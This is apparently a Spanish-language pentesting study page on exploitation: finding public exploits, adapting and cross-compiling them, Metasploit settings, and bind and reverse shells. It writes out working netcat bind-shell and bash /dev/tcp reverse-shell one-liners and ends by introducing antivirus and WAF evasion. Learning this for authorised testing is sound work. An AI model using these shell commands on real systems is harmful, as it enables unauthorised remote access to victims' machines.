Appearance
💥 Explotación
Una vez ya conozcamos los puntos frágiles del objetivo, es el momento de conseguir acceso al mismo.
Hay dos vectores de ataque principales:
🌐 Explotación Web
SQL Injection, XSS, CSRF, LFI/RFI, File Uploads, SSRF, Command Injection…🖥️ Explotación de Sistemas
Metasploit, Exploits públicos, Buffer Overflow, Privilege Escalation, Kernel exploits, Pass-the-Hash…🛜 Explotación WiFi
WEP/WPA/WPA2 cracking, Evil Twin, WPS Pixie-Dust, PMKID attack, Deauth + handshake capture…📱 Explotación Móvil
ADB abuse, APK reverse engineering, Insecure storage, Intent hijacking, Jailbreak (iOS), Side-channel attacks…🧠 Ingeniería Social
Phishing, Spear phishing, Vishing, Smishing, Credential harvesting, USB Drop, Pretexting…
🧨 Búsqueda de Exploits
La mayoría de las veces usamos exploits públicos de terceros, por ello, primero tenemos que saber donde encontrarlos. Aquí explico fuentes y herramientas que yo uso para encontrarlos de forma rápida y segura.
Fuentes Online Principales
Exploit-DB
La base de datos oficial de exploits (la misma que usa Searchsploit).
Busca por CVE, software, tipo de exploit, plataforma (Windows/Linux/etc.), o palabras clave.
Incluye también referencias a módulos de metasploit. Ejemplo: Busca "vsftpd 2.3.4" → te sale el backdoor famoso del puerto 21.Rapid7 Vulnerability & Exploit Database
Mantenida por los creadores de Metasploit.
Muy buena para exploits que ya están integrados en Metasploit.
Incluye descripciones detalladas, CVE y enlaces a PoC.
Google Dorks para encontrar exploits
Útil para encontrar PoC en GitHub, blogs, foros, etc.
Ejemplos básicos (usa comillas para precisión):
bash
inurl:exploit OR inurl:PoC "CVE-2021-XXXX"
site:github.com "exploit" "CVE-2023-XXXX"Advertencia
Ten mucho cuidado con GitHub y páginas no oficiales. Descarga solo de fuentes confiables y nunca ejecutes código sin revisar (puede tener backdoors o malware).
Herramienta Local: Searchsploit
La versión offline de Exploit-DB (viene instalada en Kali).
Ideal para labs cuando no tienes internet o quieres buscar rápido.
🛠️ Adaptación y Compilación de Exploits
Los exploits no son universales, estos requieren un proceso previo de personalización o transformación para que funcionen en el entorno del objetivo.
¿Cuál es la ip del objetivo? ¿Estamos atacando al usuario Diddy o al usuario Epstein? Los exploits no son adivinos.
1. Adaptación del Código (Modificación)
Antes de ejecutar cualquier script (Python, Perl, Ruby) descargado de fuentes como Exploit-DB, es obligatorio auditar el código y realizar ajustes manuales:
- Variables de Red: Localizar y cambiar las variables
LHOST(tu IP),LPORT(tu puerto de escucha),RHOST(IP víctima) yRPORT. - Ajuste de Offsets: En ataques de desbordamiento (Buffer Overflow), puede que necesites ajustar las direcciones de memoria o el padding según la versión específica del SO.
- Payloads: A veces el exploit trae un payload por defecto (como un
calc.exe); deberás sustituirlo por un shellcode generado por ti (ej. conmsfvenom).
2. Compilación de Exploits (C/C++)
Si el exploit viene en código fuente (archivos .c o .cpp), debemos transformarlo en un binario ejecutable compatible con la arquitectura de la víctima.
- Para Linux (GCC): Se compila directamente en el sistema (o en una máquina similar).
bash
gcc EXPLOIT.c -o SALIDA.exe- Para Windows (Cross-compilation): Si estás en Kali y el objetivo es Windows, usamos mingw-w64 para generar el
.exe.
bash
# Compilar para Windows 32 bits
i686-w64-mingw32-gcc exploit.c -o exploit.exe
# Compilar para Windows 64 bits
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe3. Configuración en Frameworks (Metasploit)
Si utilizas módulos de Metasploit, la "adaptación" se hace mediante el comando set. No olvides revisar siempre las opciones avanzadas:
bash
show options # Configuración básica (IPs, Puertos)
show advanced # Ajustes críticos como evasión de AV o tiempos de espera¿Quieres exploits ya compilados?
Existe un repositorio oficial de Exploit-DB de binarios ya compilados: Bin-Sploits
🐚 Remote Shells
Obtener una shell es el objetivo principal tras explotar una vulnerabilidad, ya que proporciona el control necesario para la ejecución de comandos, la navegación por el sistema de archivos y la escalada de privilegios.
Hay dos tipos:
1. Bind Shell
La Bind Shell se produce cuando el código ejecutado en el objetivo abre un puerto local y vincula (bind) una instancia de la terminal (como /bin/bash o cmd.exe) a dicho puerto. En este escenario, el sistema atacante actúa como cliente y se conecta a la dirección IP del objetivo.
Esta configuración es menos efectiva en entornos modernos debido a que los firewalls suelen bloquear el tráfico entrante no solicitado. Además, el uso de NAT impide la conexión directa si el objetivo no posee una IP pública.
Ejemplo de uso:
- Víctima (Escucha):
nc -nvlp 4444 -e /bin/bash - Atacante (Conexión con Netcat):
nc -nv <IP_VICTIMA> 4444 - Atacante (Conexión con Penelope):
penelope <IP_VICTIMA> 4444 -c
Penelope vs Netcat
Penelope nos hace el tratamiento de la TTY automáticamente, de esta forma es más sencillo manejar la shell obtenida. Netcat ofrece una shell sencilla y muy precaria.
2. Reverse Shell
En una Reverse Shell, el objetivo inicia la conexión hacia un puerto y una dirección IP específicos controlados por el atacante. El atacante debe tener un servicio de escucha (listener) preparado para recibir y aceptar esta conexión entrante.
Es el método más utilizado en operaciones reales porque las reglas de firewall suelen ser mucho más permisivas con el tráfico saliente (egress filtering). Al ser la víctima quien "busca" al atacante, se evaden de forma efectiva los bloqueos de conexiones entrantes y las limitaciones de NAT.
Ejemplo de uso:
- Atacante (Escucha con Netcat):
nc -nvlp 4444 - Atacante (Escucha con Penelope):
penelope 4444(Gestiona la conexión y previene la caída de la shell al usarCtrl+C). - Víctima (Conexión):
bash -c 'bash -i >& /dev/tcp/<TU IP>/4444 0>&1'
Recursos
Revshells.com - Esta es una web que te permite construir Reverse Shells de forma rápida y sencilla.
PayloadsAllTheThings - Repositorio que contiene una lista de payloads para numerosos escenarios.
⛔ Ofuscación / WAF Bypass
En ciertas ocasiones, tendremos que esquivar los antivirus y las medidas de protección del objetivo.